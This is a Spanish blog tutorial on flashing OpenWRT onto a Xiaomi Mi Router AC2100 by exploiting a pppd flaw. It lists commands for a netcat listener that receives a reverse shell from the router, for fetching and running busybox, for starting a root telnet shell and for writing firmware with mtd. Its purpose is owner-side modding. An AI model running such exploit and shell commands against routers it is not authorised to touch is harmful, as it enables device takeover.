Tutorial: Cambio de Firmware del Xiaomi Mi Router AC2100 a OpenWRT

Domótica Tutoriales Xiaomi

Tal y como prometí en la review, os traigo el vídeo del cambio de firmware del Mi Router AC2100 a OpenWRT para sacar el router del ecosistema de Xiaomi y abrir las puertas a una configuración mucho más avanzada.

NOTA: Antes de seguir, después del cambio, he notado mejoría a nivel de gestión de la red local por cable, ya que ahora el test si que da los 500 MB simétricos, pero, en cuanto a la WiFi, no he podido levantar todavía la de 5 Ghz.

En mi caso no era un problema mayor ya que iba a usar la WiFi del AX3600, y, además, no veo que la gente se queje de ese problema, por lo que puede ser algo aislado lo que me ha pasado a mi, pero, advertidos estáis. Además, he leído que ha habido gente que le pone los drivers propietarios en OpenWRT y mejora el rendimiento mucho más. Supongo que acabará habiendo una versión con los drivers ya incluidos.

Tutorial para cambiar el firmware al Xiaomi Mi Router AC2100 a OpenWRT

Para que os resulte más sencillo de seguir el vídeo, os pongo aquí los comandos de la guía para lo podáis seguir copiando y pegando.

Instalación de lo necesario

Como digo en la guía, es necesario instalar Python3 y netcat para poder funcionar y, posteriormente pip haciendo uso del gestor de paquetes de vuestra distribución. Una vez que tengáis eso (podréis hacerlo con vuestra distribución de Linux sin problemas) podréis instalar scapy con:

pip3 install scapy

Ahora nos descargaremos el repositorio de la guía, ya sea con el zip o con el siguiente comando:

git clone https://github.com/impulse/ac2100-openwrt-guide.git

Ahora, comprobamos si los binarios están correctos:

sha256sum *bin

La salida debería ser algo así:

9242477eaa7df12e00d369d5132b754b76af7dc8e7f4cd9e1c1483aba824ebbe xiaomi-router-kernel1.bin
141d6af6ae3b41c44fe8fe3728638acf1b286e5f204cd16381593c10f2cdd94c xiaomi-router-rootfs0.bin
e53c69e2443154feb80320ebc1c58c10e08076f132291f01d9d7f5160c0aed6c xiaomi-router-sysupgrade.bin

Ahora nos toca reiniciar el router. Para ello, lo encendemos, esperamos que se ponga azul la luz y pulsamos el botón reset hasta que se ponga amarillo (o naranja). Una vez hecho eso, le quitamos la alimentación. Cuando tengamos el router sin alimentación, ponemos los cables de red como se ven a continuación:

puentes de los cables del router ac2100

El siguiente paso sería configurar nuestra tarjeta de red para tener los siguientes datos en lugar de automático, pasamos a manual y ponemos:

IP: 192.168.31.177
Máscara de red: 255.255.255.0
Puerta de enlace: 192.168.31.1

Aceptamos los cambios y conectamos el router de nuevo a la corriente y, cuando la luz esté azul, hacemos ping para ver si llegamos al router con:

ping 192.168.31.1

ping router

Si la salida nos retorna con los milisegundos (ms) que tarda, es que podemos seguir. Ahora nos tocaría ver donde tenemos conectado nuestro router en nuestro pc, para ello, lanzamos el comando:

ifconfig

Ahora debemos fijarnos en el que lleva la configuración de nuestra ip 192.168.31.177:

salida ifconfig

Y copiaríamos el nombre, que, en mi caso es enp7s0. Tendremos que editar tanto el script ppd-cve.py como el pppoe-simulator.py para poder poner ese dispositivo en donde pone “interface”, lo pondremos sustituyendo el “en7” dejando las comillas (está al principio de los scripts). Otro cambio importante es mirar la MAC de vuestro router y coger los 6 primeros caracteres, en mi caso, tuve que cambiar de:

if src.startswith("88:c3:97") or src.startswith("8c:53:c3") :

a:

if src.startswith("50:d2:f5") or src.startswith("8c:53:c3") :

Sin este cambio, el xploit para poder saltarnos la seguridad del router, no pude hacerlo funcionar.

Ahora nos vamos al navegador y abrimos la ip 192.168.31.1 para ver esto:

Pantalla de inicio del Xiaomi Mi Router AC2100

Pulsamos en el botón azul si no te sale lo que te marco aquí:

botón a pulsar en mi router ac2100 antes del cambio

Comienza el ataque

Ahora nos toca aprovecharnos de un fallo de seguridad que tiene el Mi Router AC2100 par poder entrar al router y lanzar un servidor Telnet para poder flashear desde dentro. Abriremos un terminal de consola con varias pestañas y todas ellas nos iremos al directorio donde tenemos lo que hemos bajado del repositorio. En la primera, lanza:

sudo python3 pppoe-simulator.py

Ahora, en la pantalla del navegador, pulsamos en donde pone PPPOE y nos pedirá un usuario y contraseña, ponemos 123 en ambos campos y pulsamos el botón azul de abajo. Si miramos la pestaña donde hemos lanzado el script anterior, debería salir texto como que ha tenido actividad. Ahora, se quedará como en una pantalla de login y lo dejaremos minimizado.

Nos vamos a otra pestaña y lanzamos:

sudo python3 -m http.server 80

Y en otra pestaña lanzamos

sudo netcat -nvlp 31337

Ahora tenemos un servidor web en una y la aplicación netcat en otra, ambos escuchando posibles paquetes que lleguen, por último, en otra pestaña lanzaremos el comando:

sudo python3 pppd-cve.py

al poco, veremos que se ha lanzado un paquete y si miramos en netcat hay una conexión nueva desde el router. En esta ventana (la de netcat) es donde tenemos que lanzar una serie de comandos. Ojo, la conexión se podría cerrar por lo que habría que volver a repetir los pasos desde “sudo python3 -m http.server 80”. Los comandos a lanzar son:

cd /tmp
wget http://192.168.31.177/busybox
chmod a+x ./busybox
./busybox telnetd -l /bin/sh

Si has podido lanzarlos todos, ahora debe ser posible hacer telnet contra el router, para ello, hacemos:

telnet 192.168.31.1

Y, si nos devuelve una consola como esta:

telnet al xiaomi mi router ac2100 para flashear openwrt

Ya estaremos dentro del router y podemos descargarnos los firmware y flashearlos, para ello:

wget http://192.168.31.177/xiaomi-router-rootfs0.bin
wget http://192.168.31.177/xiaomi-router-kernel1.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit

Si no ha dado problemas en la descarga, podréis pasar al último paso que es el flasheo:

Primero:
mtd write xiaomi-router-kernel1.bin kernel1

Después:
mtd -r write xiaomi-router-rootfs0.bin rootfs0

Ahora tendríamos nuestro Mi Router AC2100 con OpenWRT, y se debe reiniciar. Una vez que se ponga azul la luz de nuevo, podremos probarlo. Para poder probarlo con normalidad, tendremos que volver a dejar nuestra tarjeta de red con la configuración de antes (lo normal es que sea automática), quitar los cables que hemos puenteado y conectar a internet el router.

OpenWRT en el Xiaomi Mi Router AC2100

Por cierto, el usuario por defecto (cambialo en la primera entrada es usuario root y contraseña password)

Como he dicho al principio, la WiFi en 2.4Ghz funciona bien, pero, la de 5Ghz no he sido capaz de hacerla funcionar, esto será cosa de dias/semanas que todo vaya a la perfección, por lo que si veis que no está actualizado el tutorial y que ya va todo bien, podéis decirlo para que actualice el tutorial.

Configuración del router Xiaomi para quitar el router del operador

Como muchos han preguntado en el grupo de Telegram para poder cambiar el router del operador, si tenéis un router y el ONT por separado (como es mi caso) os explico como lo he podido configurar:

  • Como tengo Orange la VLAN es la 832 (si fuera NEBA sería la 20) nos vamos a Network > Switch y tendremos 2 VLANs creadas, le damos a añadir una nueva y en VLAN ID ponemos 832 (o la que corresponda). La primera columna y la última (WAN) estarán puestas a Tagged. Le damos a Save & Apply.

Configuración OpenWRT

  • Nos vamos a Network > Interfaces y le damos a Añadir uno nuevo. En nombre podemos usar DHCP y elegimos DHCP Client y, como interfaz elegimos la VLAN creada

Configuración OpenWRT

  • Ahora editamos la WAN y ponemos como protocolo PPPoE y en usuario y contraseña ponemos (usuario: orangeuser@orangeadsl  y contraseña: orangeuser123) y, en Physical Settings elegimos la VLAN que hemos creado).  Le damos a Save
  • Ahora editamos WAN6, elegimos DHCP client y en Physical Settings ponemos la VLAN que hemos creado.

Ahora podemos Salvar y aplicar y en Status debería salir la IP de nuestro router. Ojo, si tenéis teléfono y tele, es necesario crear otras subredes en otros operadores, os comento mi caso que se que funciona. Si alguno lo configura para televisión y teléfono y quiere compartir la info, la publico para que le sirva a más gente en este tutorial del Mi Router AC2100.

Guía que he seguido aquí. Para la configuración de la fibra, lo he sacado de aquí.

Binarios para poder actualizar cuando haya nueva versión aquí (Yo uso la versión estándar y se flashea por la web la sysupgrade)

Compra: Banggood

¿Quieres montarte tu propio sistema Smart Home?

¿Te gustaría empezar poco a poco teniendo Google Home, Alexa o Home Assistant para controlar las luces, calefacción y otros electrodomésticos de la casa? ¡Te ayudamos! Entra en nuestro Grupo de Telégram de Domótica y también puedes entrar a nuestro Foro de Domótica donde podrás empezar a leer y preguntar tus dudas. Además, si quieres estar al tanto de las ofertas de domótica que salen a diario para poder hacerte un sistema de domótica low cost, entra a nuestro Canal de ofertas de domótica y no te perderás ni una o si lo prefieres y no tienes Telegram, puedes entrar a nuestra página de ofertas de domótica o Smart Home en Facebook. ¡Síguenos también en nuestro Facebook, Twitter o Instagram! ¡Te esperamos!

3 Comentarios

  1. Francisco Javier Terrada Henr

    Buenas.

    Tengo instalado este mismo router como secundario emitiendo wifi y el router de la compañía con el wifi desactivado.
    Pero desde hace unas semanas la señal de 2,4Ghz se me desactiva/activa continuamente mientras que la de 5 va bien.
    No se si te ha pasado este problema o sabes algo de ello.

    Un Saludo.

    Reply
    • eduardo

      Pero con el firmware de Xiaomi u OpenWRT?

      Reply

Contestar

Tu e-mail no será publicadoRequired fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Lost Password

Registro